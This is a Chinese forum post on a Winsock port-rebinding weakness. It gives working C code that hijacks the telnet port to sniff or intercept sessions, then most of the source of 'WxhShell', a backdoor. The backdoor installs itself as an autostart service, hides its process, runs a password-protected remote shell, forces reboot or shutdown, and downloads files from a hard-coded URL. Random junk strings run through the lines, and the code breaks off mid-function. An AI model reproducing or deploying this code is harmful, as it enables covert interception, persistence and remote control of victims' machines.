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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: rM[Ps=5  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); XZd !c Ff  
QV{Nq=%]  
  saddr.sin_family = AF_INET; <FS/'[P  
l:+tl/  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); . Nog.  
4I:Jb;k>  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); (`3 Bi]7  
@=Ly#HuUM  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 umrRlF4M;  
<6dD{{J]>p  
  这意味着什么?意味着可以进行如下的攻击: jJ55Az?t:  
v bb mmv  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 4$IPz7  
,"h$!k"$g  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) `*}#Bks!  
)KXLL;]  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 +]uy  
!G\1$"T$  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  8"oS1W  
w$Dp m.0(  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。  V}8J&(\  
>/e#Z h  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 4yRT!k}o  
Ba`]Sm=  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 qf)]!w U9  
9!bD|-6y  
  #include ((.PPOdJV  
  #include gl]{mUZz}  
  #include c0Q`S"o+  
  #include    . s? ''/(  
  DWORD WINAPI ClientThread(LPVOID lpParam);   gP/]05$e  
  int main() IFG`  
  { *ZN"+ wf\  
  WORD wVersionRequested; E_ mgYW*5  
  DWORD ret; CXUNdB  
  WSADATA wsaData; *ArzXhs[  
  BOOL val; lJ7k4ua\  
  SOCKADDR_IN saddr; m?[F)<~a  
  SOCKADDR_IN scaddr; t$\]6RU  
  int err; X+&@$v1  
  SOCKET s; F>^k<E?,C  
  SOCKET sc; w?Q@"^IL  
  int caddsize; IDLA-Vxo  
  HANDLE mt; s)]|zu0"Ku  
  DWORD tid;   OmU.9PDg-  
  wVersionRequested = MAKEWORD( 2, 2 ); ;y HA.}  
  err = WSAStartup( wVersionRequested, &wsaData ); s?0r\cc|:  
  if ( err != 0 ) { <&H.pN1_  
  printf("error!WSAStartup failed!\n"); cG"jrQ  
  return -1; `uzRHbJ`  
  } kx'6FkZPIr  
  saddr.sin_family = AF_INET; .@B \&U7  
   u;=("S{"0  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 <#`<Ys3b*!  
PicO3m  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); @&,r|-  
  saddr.sin_port = htons(23); "}PmAr e  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) m1+DeXR_g  
  { W9eR3q  
  printf("error!socket failed!\n"); RCxqqUS\C  
  return -1; hfEGkaV._3  
  } Q|pz].0  
  val = TRUE; &=02.E@  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Ui?t@.  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) D.?KgOZ  
  { ^]aDLjD  
  printf("error!setsockopt failed!\n"); P6IhpB59  
  return -1; Qz<v. _  
  } oO= 6Kd+T  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; WBC'~h<@  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 {{2ZWK 6|  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 A`OU} 'v?L  
zEks4yd  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) DbOWnXV"o  
  { 3!Bekn]  
  ret=GetLastError(); &,e@pvc3  
  printf("error!bind failed!\n"); @<alWBS  
  return -1; ?+5K2Zk  
  } c&'T By  
  listen(s,2); ]^ j)4us  
  while(1) Dm4\Rld{  
  { 8dL(cC  
  caddsize = sizeof(scaddr); 9KAXc(-  
  //接受连接请求 ^[qmELW#7  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); :SYg)|s  
  if(sc!=INVALID_SOCKET) gVZ~OcB!W  
  { C/]0jAAE7  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); W}T+8+RU  
  if(mt==NULL) "G4{;!0C  
  { 1h)I&T"kZ  
  printf("Thread Creat Failed!\n"); yq;gBIiZ  
  break; I.(/j  
  } T_B$  
  } noL<pkks~R  
  CloseHandle(mt); Dk[[f<H_{  
  } lT$A;7[  
  closesocket(s); U)c,ZxE  
  WSACleanup(); 6oJ~Jdn'  
  return 0; sq :ff  
  }   pLk?<y  
  DWORD WINAPI ClientThread(LPVOID lpParam) t,=khZ  
  { ?rr%uXQjH  
  SOCKET ss = (SOCKET)lpParam; E@[`y:P  
  SOCKET sc; :r#FI".qx  
  unsigned char buf[4096]; a2p<HW;)m  
  SOCKADDR_IN saddr; (wbG0lu  
  long num; 81aY*\  
  DWORD val; X0 %k`3  
  DWORD ret; iL5+Uf)E3  
  //如果是隐藏端口应用的话,可以在此处加一些判断 eOLS  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   nk6xavQji  
  saddr.sin_family = AF_INET; r[~K m5  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); NCl={O9<j  
  saddr.sin_port = htons(23); .Olq_wuH  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) >eJk)qM  
  { >gVR5o  
  printf("error!socket failed!\n"); srC'!I=s>8  
  return -1; 0! !pNK%(  
  } )8e_<^M  
  val = 100; 8 Z#)Xb4  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) NFc< %#H  
  { mtJI#P  
  ret = GetLastError(); t|%iW%m4  
  return -1; e `_ [+y  
  } *[_?4*F  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) i<&2Ffvq  
  { v( (fRX.`  
  ret = GetLastError(); *4+;E y  
  return -1; BU])@~$  
  } qFvtqv2  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) rF 7EO%,  
  { )!M:=}."  
  printf("error!socket connect failed!\n"); }{ 9E~"_[  
  closesocket(sc); LI(Wu6*Y  
  closesocket(ss); Yo:>m*31  
  return -1; -bKli<C  
  } 59ro-nA9v  
  while(1) 7?cZ9^z`w  
  { (MbI8B>  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 mDj:w#q  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 dr:)+R  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 V&NOp  
  num = recv(ss,buf,4096,0); ^$yr-p%-  
  if(num>0) G?8,&jP~T  
  send(sc,buf,num,0); CXJ0N   
  else if(num==0) Ku&0bXP  
  break; 6C) G  
  num = recv(sc,buf,4096,0); v>0xHQD*<M  
  if(num>0) TX8,+s+  
  send(ss,buf,num,0); Xt9?7J#\T  
  else if(num==0) %.[GR  
  break; KWhw@y-5j@  
  } eGnc6)x@C  
  closesocket(ss); +mV4Ty  
  closesocket(sc); ks'25tv}F  
  return 0 ; R+, tn,<<  
  } v#D9yttO{  
SAXjB;VH6  
f'R^MX2  
========================================================== ~@L$}Eu  
_X;5ORH"  
下边附上一个代码,,WXhSHELL W^al`lg+y  
$Ne#F+M9x  
========================================================== e 0!a &w  
k(hes3JV  
#include "stdafx.h" N6yqA)z?;  
{f)",#  
#include <stdio.h> {P-KU RQ  
#include <string.h> blxH`O!  
#include <windows.h> -Z]?v3 9  
#include <winsock2.h> sa*]q~ a  
#include <winsvc.h> "S)4Cjk  
#include <urlmon.h> !L-.bve!  
lty`7(\  
#pragma comment (lib, "Ws2_32.lib") f{5)yZ`J*  
#pragma comment (lib, "urlmon.lib") N.BD]_C  
i>0I '~V  
#define MAX_USER   100 // 最大客户端连接数 4z[Z3|_V  
#define BUF_SOCK   200 // sock buffer r"J1C  
#define KEY_BUFF   255 // 输入 buffer ugucq},[  
6}{2W<  
#define REBOOT     0   // 重启 Jp_{PR:&  
#define SHUTDOWN   1   // 关机 F]SexP4:A  
--.:eFE/  
#define DEF_PORT   5000 // 监听端口 MT;<\T  
<@5#  
#define REG_LEN     16   // 注册表键长度 r~TiJ?8I  
#define SVC_LEN     80   // NT服务名长度 Q)HVh[4  
> NK?!!A_  
// 从dll定义API 3vmLftZE}  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); $ShL^g@  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); -\AB!#fh  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ,Ea.ts>  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); >MS}7Hk\  
)#i]exZ  
// wxhshell配置信息 #Rjm3#gc  
struct WSCFG { )N`ia%p_]  
  int ws_port;         // 监听端口 A^%z;( 0p  
  char ws_passstr[REG_LEN]; // 口令 A3yVT8  
  int ws_autoins;       // 安装标记, 1=yes 0=no A$fd6+{  
  char ws_regname[REG_LEN]; // 注册表键名 6$ @Pk<w  
  char ws_svcname[REG_LEN]; // 服务名 rb&^ei9B  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 1OE^pxfi>  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 &RpQ2*4n  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 A CJmy2  
int ws_downexe;       // 下载执行标记, 1=yes 0=no %+FM$xyJ  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ~F>oNbJIv  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ~SP.&>Q>  
t3v*P6  
}; pg*'2AT  
#j iQa"  
// default Wxhshell configuration tkV:kh< L~  
struct WSCFG wscfg={DEF_PORT, : bT*cgD{  
    "xuhuanlingzhe", m7^a4  
    1, g|e^}voRM  
    "Wxhshell", `=b*g24z[N  
    "Wxhshell", ks sXi6^  
            "WxhShell Service", U-X  
    "Wrsky Windows CmdShell Service", Wky~hm  
    "Please Input Your Password: ", ANp4yy+  
  1, W[j =!o  
  "http://www.wrsky.com/wxhshell.exe", 9j$ OU@N 8  
  "Wxhshell.exe" <`*6;j.&  
    }; u=#LY$  
(= uwx#  
// 消息定义模块 v?n`kw  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ]n\WCU ]0  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Fov/?:f$  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; t*e+[  
char *msg_ws_ext="\n\rExit."; ^=E4~22q  
char *msg_ws_end="\n\rQuit."; u#la+/   
char *msg_ws_boot="\n\rReboot..."; iN+p>3w^l  
char *msg_ws_poff="\n\rShutdown..."; mcS/-DaN?  
char *msg_ws_down="\n\rSave to "; }+i ZY\t  
SX/yY  
char *msg_ws_err="\n\rErr!"; X& O o1y  
char *msg_ws_ok="\n\rOK!"; z=BX-)  
/2Y Nu*v  
char ExeFile[MAX_PATH]; 1\kOjF)l  
int nUser = 0; J A4'e@  
HANDLE handles[MAX_USER]; 5|S|HZ8G  
int OsIsNt; >UWL T;N/W  
52wq<[#tK  
SERVICE_STATUS       serviceStatus; dSk\J[D  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ^?&Jq_oU  
:]=Y1*L\)  
// 函数声明 -md2Z0^ Kc  
int Install(void); Wq F(  
int Uninstall(void); ;QREwT~H  
int DownloadFile(char *sURL, SOCKET wsh); zu^?9k  
int Boot(int flag); pk: ruf`)  
void HideProc(void); 8y~ Jn~t  
int GetOsVer(void); Nd^9.6,JU  
int Wxhshell(SOCKET wsl); '1=/G7g  
void TalkWithClient(void *cs); @\u)k  
int CmdShell(SOCKET sock); %jKR\f G  
int StartFromService(void); 3,3{wGvHHW  
int StartWxhshell(LPSTR lpCmdLine); /=,^fCCN  
i "62+  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 4h:Oo  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ) 8st  
NT= ?@uxD  
// 数据结构和表定义 ] A9Vh  
SERVICE_TABLE_ENTRY DispatchTable[] = h7[VXE  
{ MvL%*("4b  
{wscfg.ws_svcname, NTServiceMain}, m\"M`o B  
{NULL, NULL} zP rT0  
}; JWlH(-U4|  
Ud`V"X  
// 自我安装 dZ`nv[]k~  
int Install(void) u2JkPh&!rq  
{ pb_mW;JVu  
  char svExeFile[MAX_PATH]; q|=tt(}G  
  HKEY key; K]N^6ome  
  strcpy(svExeFile,ExeFile); 6\OSIxJZF  
`: i|y  
// 如果是win9x系统,修改注册表设为自启动 K)l{3\9l|  
if(!OsIsNt) { +CX2W('  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { F@"X d9q?  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); SO]x^+[  
  RegCloseKey(key); b;9v.MZ4>g  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 7{v0K"E{  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 08yTTt76t  
  RegCloseKey(key); j)'V_@  
  return 0; .<rL2`C[c  
    } kOFEH!9&  
  } [WY NA-O  
} _ nS';48  
else { Rk2ZdNc\  
\EUc17  
// 如果是NT以上系统,安装为系统服务 A9p$5jt7  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); c c ,]  
if (schSCManager!=0) :==kC672  
{ qaG%PH}a  
  SC_HANDLE schService = CreateService P,_GTs3/G  
  ( 1#aOgvf  
  schSCManager, >~>=[M0  
  wscfg.ws_svcname, &AUL]:<s  
  wscfg.ws_svcdisp, AN$}%t"  
  SERVICE_ALL_ACCESS, K&D -1u  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , PrDvRWM  
  SERVICE_AUTO_START, ZKAIG=l&!  
  SERVICE_ERROR_NORMAL, , $78\B^  
  svExeFile, ^^3 >R`  
  NULL, i.0}qS?  
  NULL, tG^Oj:  
  NULL, Ds&)0Iwf  
  NULL, HEht^ /pJ  
  NULL czdNqk.kh  
  ); 0O!%NL[,  
  if (schService!=0) W{=>c/  
  { W%Br%VQJ  
  CloseServiceHandle(schService); VskyRxfdW3  
  CloseServiceHandle(schSCManager); xg. d)n  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Rj^bZ%t  
  strcat(svExeFile,wscfg.ws_svcname); ,yAvLY5 P  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { rM=Q.By+\  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); |+x;18  
  RegCloseKey(key); H Tf7r-  
  return 0; !@ai=p  
    } 4LUFG  
  } |+cyb<(V J  
  CloseServiceHandle(schSCManager); < ynm A  
} QIBv}hgcy  
} U/D\N0  
"MZVwl"E#  
return 1; Lo7R^>  
} /LPSI^l!m  
fVb&=%e  
// 自我卸载 g9GE0DbT`  
int Uninstall(void) lJ R",_  
{ CuT[V?^iD  
  HKEY key; [AE]0cO@  
L7q%u.nB1  
if(!OsIsNt) { 1i2jYDB"  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { jW?.>(  
  RegDeleteValue(key,wscfg.ws_regname); JgYaA*1X  
  RegCloseKey(key); <y-KW WE  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { #E{OOcM  
  RegDeleteValue(key,wscfg.ws_regname); ldI;DoE#U1  
  RegCloseKey(key); @~QW~{y  
  return 0; uH65DI<  
  } fCO!M1t  
} Ks8S^77  
} b==<7[8  
else { 7!Ym~M=  
o LuGW5wzj  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); -UUP hGC  
if (schSCManager!=0) @xSS`&b  
{ jP@H$$-=wH  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ylmf^G@JC  
  if (schService!=0) )Qp?N<&'  
  { @e$z Ej5  
  if(DeleteService(schService)!=0) { !;zacw  
  CloseServiceHandle(schService); 224I%x.,  
  CloseServiceHandle(schSCManager); {xr4CDP  
  return 0; LPO3B W  
  } `)1_^# k  
  CloseServiceHandle(schService); ZfL\3Mn  
  } HMrS::  
  CloseServiceHandle(schSCManager); _4xX}Z;  
} Tx`;y|  
} "eZNci  
z)]_(zZ^  
return 1; Tj<W4+p{  
} Ko>pwhR}  
{p yo  
// 从指定url下载文件 $@}6P,mg  
int DownloadFile(char *sURL, SOCKET wsh) #f\U3p  
{ vZhN% DfY  
  HRESULT hr; nFX8:fZ$>  
char seps[]= "/"; \iSaxwU_  
char *token; M=`F $  
char *file; 9_ KUUA  
char myURL[MAX_PATH]; 1;]cYIq  
char myFILE[MAX_PATH]; MftX~+  
F>96]71 2  
strcpy(myURL,sURL); qZ6P(5X  
  token=strtok(myURL,seps); w[~$.FM/  
  while(token!=NULL) v&xk?F?WU,  
  { X<#Q~"  
    file=token; HGh`O\f8  
  token=strtok(NULL,seps); |XLx6E2F  
  } aOyAP-m,  
-81usu&NH  
GetCurrentDirectory(MAX_PATH,myFILE); -9.S?N'T>;  
strcat(myFILE, "\\"); tm#T8iF  
strcat(myFILE, file); NVcL9"ht*@  
  send(wsh,myFILE,strlen(myFILE),0); %fJ*Ql4M  
send(wsh,"...",3,0); .Rd@,3  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); u6awcn  
  if(hr==S_OK) |Y0BnyGK  
return 0; R1 hb-  
else 7t0\}e  
return 1; R1{ "  
mxGa\{D# y  
} vd9l1"S  
`~(KbH=]  
// 系统电源模块 ;rV0  
int Boot(int flag) do+HPnfDzU  
{ tceQn ^|<  
  HANDLE hToken; CJ {?9z@$.  
  TOKEN_PRIVILEGES tkp; :PY~Cws  
qyP@[8eH  
  if(OsIsNt) { TStu)6%`  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); TsfOod   
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); P%ev8]2  
    tkp.PrivilegeCount = 1; #J\ 2/~  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ++5W_Ooep  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); )o SFHf  
if(flag==REBOOT) { : \:jIP  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) O<)"k j 7  
  return 0; Z>wg o@z%  
} <6Y o%xt  
else { ppM d  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 4 "@BbVYR  
  return 0; PHyS^J`  
} %)i?\(/  
  } p*-o33Ve  
  else { vaxNF%^~yN  
if(flag==REBOOT) { _$9<N5F.,o  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 13'tsM&  
  return 0; kbI:}b7H  
} n-#?6`>a  
else { QG4#E$ c  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) _E{SGbCCi  
  return 0; J&@[=zBYw  
} S5-}u)XnH  
} "6gu6f  
)z=`,\&p:  
return 1; S=0zP36kH:  
} ]mn(lK  
0"ZB|^c=  
// win9x进程隐藏模块 kgEGL]G>  
void HideProc(void) G!ty@ Fx  
{ s~6?p% 2]  
Hd U1gV>  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); DCACj-f  
  if ( hKernel != NULL ) `2o/W]SSk  
  { QukLsl]U  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Ki,]*-XO  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Aq^1(-g  
    FreeLibrary(hKernel); 51*o&:eim  
  } l=Jbuc  
D`o* OlU  
return; WID4{>G2  
} >/.-N  
=4RnXZ[P0  
// 获取操作系统版本 )U6T]1  
int GetOsVer(void) $"!"=v%B  
{ G)?VC^Q  
  OSVERSIONINFO winfo; </5uB' B ^  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); isLIfE>  
  GetVersionEx(&winfo); eRWTuIV6  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 2ZNTj u7h  
  return 1; <*i '  
  else 1ZJP.T`  
  return 0; ^.&2-#i  
} ' &^:@V  
od"Oq?~/t  
// 客户端句柄模块 /VgA}[%y  
int Wxhshell(SOCKET wsl) a-MDZT<xA+  
{ 5)wz`OS  
  SOCKET wsh; razVO]]E  
  struct sockaddr_in client; ?dl7!I@<E<  
  DWORD myID; iN %kF'&9  
^cz #PNB  
  while(nUser<MAX_USER) 'gxSHqeI2  
{  5%mc|  
  int nSize=sizeof(client);  O3bo3Cm$  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); c_s=>z  
  if(wsh==INVALID_SOCKET) return 1; X|{TwmHd  
uCB7(<  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); s(w6Ldi  
if(handles[nUser]==0) vj]-p=  
  closesocket(wsh); $VvL  
else < S:SIaf0  
  nUser++; Du k v[/60  
  } _n,Ye&m  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); gI~R u8  
(|(#~o]40t  
  return 0; _Jn-#du  
} g""1f%U_p  
g)u ~GA*=  
// 关闭 socket iq)4/3"6  
void CloseIt(SOCKET wsh) U iqHUrx  
{ oyZ}JTl( Q  
closesocket(wsh); <5?.s< y$"  
nUser--; FX`SaY>D  
ExitThread(0); h|$.`$  
} 4eMNKIsvY$  
9+)5#!0  
// 客户端请求句柄 H4ml0SS^  
void TalkWithClient(void *cs) _w/w~;7  
{ v}XMFC !  
nsQx\Tnhx  
  SOCKET wsh=(SOCKET)cs; ~5<-&Dyp7  
  char pwd[SVC_LEN]; I,OEor6%R(  
  char cmd[KEY_BUFF]; h[b;_>7  
char chr[1]; O~N0JK_>  
int i,j; LE%3.. !  
4:GVZR|-  
  while (nUser < MAX_USER) { M<hX !B  
qn}4PVn4  
if(wscfg.ws_passstr) { "a %5on  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); k\8]fh)J\7  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ln-+=jk  
  //ZeroMemory(pwd,KEY_BUFF); {x{e?c!  
      i=0; 78&jaw*1A  
  while(i<SVC_LEN) { {s&6C-  
~1jSz-s  
  // 设置超时 @iWql*K;m  
  fd_set FdRead; 8Ux3,X=  
  struct timeval TimeOut; 'B ocMjRA  
  FD_ZERO(&FdRead); *Hx{eqC  
  FD_SET(wsh,&FdRead); fA{[H:*}G  
  TimeOut.tv_sec=8; qN% i$mJTo  
  TimeOut.tv_usec=0; A0Pg|M  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); tu8n1W  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); &i179Qg!  
\_;z m+ <{  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); &,/_"N"?D  
  pwd=chr[0]; #!(OTe L  
  if(chr[0]==0xd || chr[0]==0xa) { \yP\@cpY{  
  pwd=0; ,) ^4H>~V  
  break; OBp<A+a  
  } BO)K=gl;8  
  i++; 3@P 2]Q~D  
    } xp<\7m_N  
CBz$N)f  
  // 如果是非法用户,关闭 socket *Y8nea^$  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); oKjQ? 4  
} \6~(# y  
!8S $tk  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); zXWf($^&E  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 5xKo(XNp  
w-9M{Es+j  
while(1) { 4d~Sn81xW  
</~!5x62Oy  
  ZeroMemory(cmd,KEY_BUFF); `IL''eJug_  
\@8j&],dl  
      // 自动支持客户端 telnet标准   8D7 = ]  
  j=0; Y|$3%t  
  while(j<KEY_BUFF) { Q'xZ\t  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); EF1aw2  
  cmd[j]=chr[0]; AG/?LPJ  
  if(chr[0]==0xa || chr[0]==0xd) { OE_;i}58  
  cmd[j]=0; F*Lm=^:  
  break; /sVy"48-  
  } 1 XsB  
  j++; 1Z-f@PoM  
    } J<J_yRg2  
!;EG<ji,gj  
  // 下载文件 zQvp<IUq  
  if(strstr(cmd,"http://")) { CJ0{>?  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); + q@kRQY;n  
  if(DownloadFile(cmd,wsh)) 4mNg(w=NF  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); v53qpqc  
  else Ovu!G q  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [AgS@^"sf5  
  } eaSf[!24"  
  else { GddP)l{uCF  
gYb}<[O!  
    switch(cmd[0]) { kex4U6&OQB  
  B^Z %38o  
  // 帮助 B"sQ\gb%Q  
  case '?': { 7\ELr 5  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); DPIIE2X  
    break; i`#5dIb   
  } ^0" W/  
  // 安装 M;s r1C  
  case 'i': { 6XU1w  
    if(Install()) 8JYF0r7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  n *Y+y  
    else , H$1iJ?  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *htv:Sr  
    break; s az<NT  
    } Tp7*T8  
  // 卸载 3@xn<eu  
  case 'r': { [wKnJu  
    if(Uninstall()) kC~\D?8E=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); zl~`>  
    else 6R_G{AWLL  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); dk}T&qZ~p  
    break; 7Uy49cs,  
    } gr]:u4}  
  // 显示 wxhshell 所在路径 Hqsj5j2i  
  case 'p': { 9em?2'ysa  
    char svExeFile[MAX_PATH]; y"5>O|`  
    strcpy(svExeFile,"\n\r"); c*iZ6j"iI  
      strcat(svExeFile,ExeFile); w,uyN  
        send(wsh,svExeFile,strlen(svExeFile),0); .7lDJ2  
    break; 19V  
    } H\W/;Nn  
  // 重启 xz9x t  
  case 'b': { yMz%s=rh  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0);  ! n@*6  
    if(Boot(REBOOT)) 0|mF /  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3eOwy~  
    else { UvwO/A\Gv  
    closesocket(wsh); hRKAs ]^j  
    ExitThread(0); ZcT%H*Ib]9  
    } OB-gH3:  
    break; *>b*I4dz  
    } 7;]n+QRfm  
  // 关机 i{1SUx+Re  
  case 'd': { sw:o3cC]  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 3RSiu}  
